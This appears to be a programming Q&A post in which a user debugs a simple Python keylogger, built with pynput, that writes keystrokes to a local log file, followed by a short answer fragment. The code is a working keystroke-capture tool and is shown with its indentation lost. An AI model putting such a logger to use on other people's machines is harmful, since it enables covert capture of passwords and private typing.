This is my main program, and I have used pynput library to make this program:
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(key)
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
On console, the program keeps track of all the keys being pressed but when the count reaches it's limit, instead of storing the data in "log.txt" it displays:
Key.shift pressed
'H' pressed
'e' pressed
'l' pressed
'l' pressed
'o' pressed
Key.space pressed
'w' pressed
'o' pressed
Unhandled exception in listener callback

As you can see, I was trying to write "Hello World" but as soon as I reach the word R in "Hello World" the program throws the TypeError on me
Remove one write-command from write_file()
to avoid duplicate output to the logfile. I have modified the code slightly, see inline comments.
